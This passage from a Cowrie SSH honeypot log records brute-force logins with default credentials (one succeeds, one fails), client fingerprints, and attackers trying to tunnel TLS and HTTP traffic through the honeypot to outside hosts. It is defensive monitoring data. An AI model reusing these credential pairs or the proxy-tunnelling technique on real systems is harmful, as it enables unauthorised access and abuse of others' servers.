deflate\\r\\n\\r\\n_=e0A3SUZqfjY0Jk1leUVjJQ%3D%3DN%2FRA1jr3bFDo0921fWRHLSXkpv3fCOUqjIBTKii2PJtO9sPMsRzlg2pD5gRVIpQba2LdHc0wNkr3TMO%2FPGATB2l0s2mkXD3JZz0eziqI7c1H%2F3q6Odx8NCUFlWZIeAokEamrwUwga9vcGrGg29gH7tPxg4ObashzKKYrcA1PFexst8R%2FQ%2FR2xNfp14YONFldYXx15eTPTXZt2WKDtOGJJm1tFuxMwmjxXhOZNk61EV0t8oKQ2nHjtnnXLBDVT5D7RPdtNyLsDPE%2BW52GyYT9%2BjJDTyFuGkGCNmFbeM5e5j8cEnWBQqzBxjGNHT71BwLmDR9GjjXzmRfZIPS9udj7YrRNZU3ayCI35YfutfaGcPzUCF3qg%2Fl6GFAWUH1gt3Q7HHF5fSGGjjDnundT2l8rtw2fKX6UDD%2BkUWRgmnV2OLamwI3vUmk4mkEOfEJ9Ts98KvKWI842og4bZUqmhwurGij23Z%2FRLSr%2B4TF0g1UaNlqUAWKAHfLCbqFRzWaY8%2FGXxDU8SmesVS57Sqmt1GEN%2BG6w8wC5czGNetDjhXr5GdkxvXvUctP08Jj85RZg9cMO9cJ%2BZRIL%2BbjrMmprz57dttzaZqsOPyoQKSIcCE1th369CqemCqIXP3eJcgNvPo5MT%2FNb8Z9SMuPy5nM0JB4z7s6QvvzhG1SrLKo6HT%2BpPu8y57TwpOp3k1u083Ql2%2Bek0s2L4sAUpnHy0OCYo497m2eqlMiysl%2FL16IKM0vVafccPL57eptsnWkZuV4n91jEyQpOdXBE2WV%2Fw6i5n6GRL%2FaLMF7sj%2FvOXg5vm05O7vI%2FoqahlGGNlkitNTHSrjopwu836tFAMSHx0hNd%2FlxQlWJNlxEEFvI7bDcOUI0obKeVmofA2%2BY8C%2Bf0bkfEs0WKB1rBFlCACi8bsocGE5AGvSRpERICbhXJFegdmOKpJ11e7uuDEWtc3F%2FVvd3KsN%2FDpO6U57J3Xu98TnAFpxzOEz5HANC48gZXInjgLJx5ZMXqSTGVfcCVAdvHp7HzsoDiMwhDUySQDIV%2F%2BuKdeb69LfQxLUIGTqx%2BjFWhUaA%2FUhKzJodCv6%2FMIyewITB%2B5pw9'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:33.463008Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":55097,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc7b6348c63","protocol":"ssh","message":"New connection: 23.175.50.47:55097 (10.17.0.5:22) [session: cfc7b6348c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:46.272040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:46.276399Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:46.360680Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:47.946139Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":44839,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb4425d3e020","protocol":"ssh","message":"New connection: 41.90.100.147:44839 (159.203.135.109:22) [session: eb4425d3e020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:51.376267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:51.380005Z","src_ip":"41.90.100.147","session":"eb4425d3e020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:51.594414Z","src_ip":"41.90.100.147","session":"eb4425d3e020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@abc","message":"login attempt [root/123456@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:52.483689Z","src_ip":"41.90.100.147","session":"eb4425d3e020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:53.699951Z","src_ip":"41.90.100.147","session":"eb4425d3e020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:54.758224Z","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:55.434788Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xd3\\xd5\\xc3N1F\\x17\\x07zQ\\x9b\\x13\\x00\\xdf\\xbe\\x83fcO\\xf7G}&\\xa9\\x1c5#\\x0fzY\\xb1 \\xbdC\\x81\\xc7\\xb4G\\xa7\\x99\\xf8\\x08o\\x9f\\x1f\\xd1\\xa9nw\\xeeT\\xbf+\\x96qDXn\\x8dw\\xd5_\\x86=\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 gP\\x0e6\\xfa\\xb2\\xc5sE\\xff\\xaag^\\xa7h\\xe3\\xf0\\xed\\xf0\\x0f1g\\xf1\\x97=\\xf9\\xbbP\\x81>\\xdcR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xd3\\xd5\\xc3N1F\\x17\\x07zQ\\x9b\\x13\\x00\\xdf\\xbe\\x83fcO\\xf7G}&\\xa9\\x1c5#\\x0fzY\\xb1 \\xbdC\\x81\\xc7\\xb4G\\xa7\\x99\\xf8\\x08o\\x9f\\x1f\\xd1\\xa9nw\\xeeT\\xbf+\\x96qDXn\\x8dw\\xd5_\\x86=\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 gP\\x0e6\\xfa\\xb2\\xc5sE\\xff\\xaag^\\xa7h\\xe3\\xf0\\xed\\xf0\\x0f1g\\xf1\\x97=\\xf9\\xbbP\\x81>\\xdcR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:55.437869Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:55.514991Z","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:55.572391Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xbb`f\\xb3\\x81\\xfd\\xf2\\xb9\\xf4\\xe3Iy\\x9b\\x0c\\x07\\xbc\\x88\\xb5)\\xf8\\xe8\\xfa\\x05\\x01>s\\xb3\\x02A\\x08\\xf5 \\x91o\\x88f\\x95\\xb8\\xb9\\x9f\\xb6M\\x9a\\xbb5\\xfcs\\x11\\x81+A\\xde\"\\xcb\\x97=uP\\xf1\\x9f\\xc9\\x02\\x8d\\xee\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 }\\xa0\"\\x19\\xc2m\\xe4\\x1b\\x13\\xa2[\\xae\\x87hhSO\\xfew:/j\\\\ \\x9b\\x94\\xcc\\x1aV\\xa5\\xceR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xbb`f\\xb3\\x81\\xfd\\xf2\\xb9\\xf4\\xe3Iy\\x9b\\x0c\\x07\\xbc\\x88\\xb5)\\xf8\\xe8\\xfa\\x05\\x01>s\\xb3\\x02A\\x08\\xf5 \\x91o\\x88f\\x95\\xb8\\xb9\\x9f\\xb6M\\x9a\\xbb5\\xfcs\\x11\\x81+A\\xde\"\\xcb\\x97=uP\\xf1\\x9f\\xc9\\x02\\x8d\\xee\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 }\\xa0\"\\x19\\xc2m\\xe4\\x1b\\x13\\xa2[\\xae\\x87hhSO\\xfew:/j\\\\ \\x9b\\x94\\xcc\\x1aV\\xa5\\xceR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:55.575027Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.014583Z","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.059601Z","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.092928Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\x1dUi\\xc9\\xc9\\xc1\\x94G\\x9d\\x10\\x93'\\x93\\xfa9z\\x8f^\\xf0\\xfd\\xfc$vBt\\xaa\\xcb\\xbd\\xc1 E \\x05N\\x1b!\\x17\\\\5\\xa4{\\xfd\\xab\\xe5\\xe9K\\xc2\\xeb}\\x95\\x8f&\\xe2\\xfd\\xcb\\x1f\\xad\\xc0\\xa7\\x87*D\\xe9\\x12\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 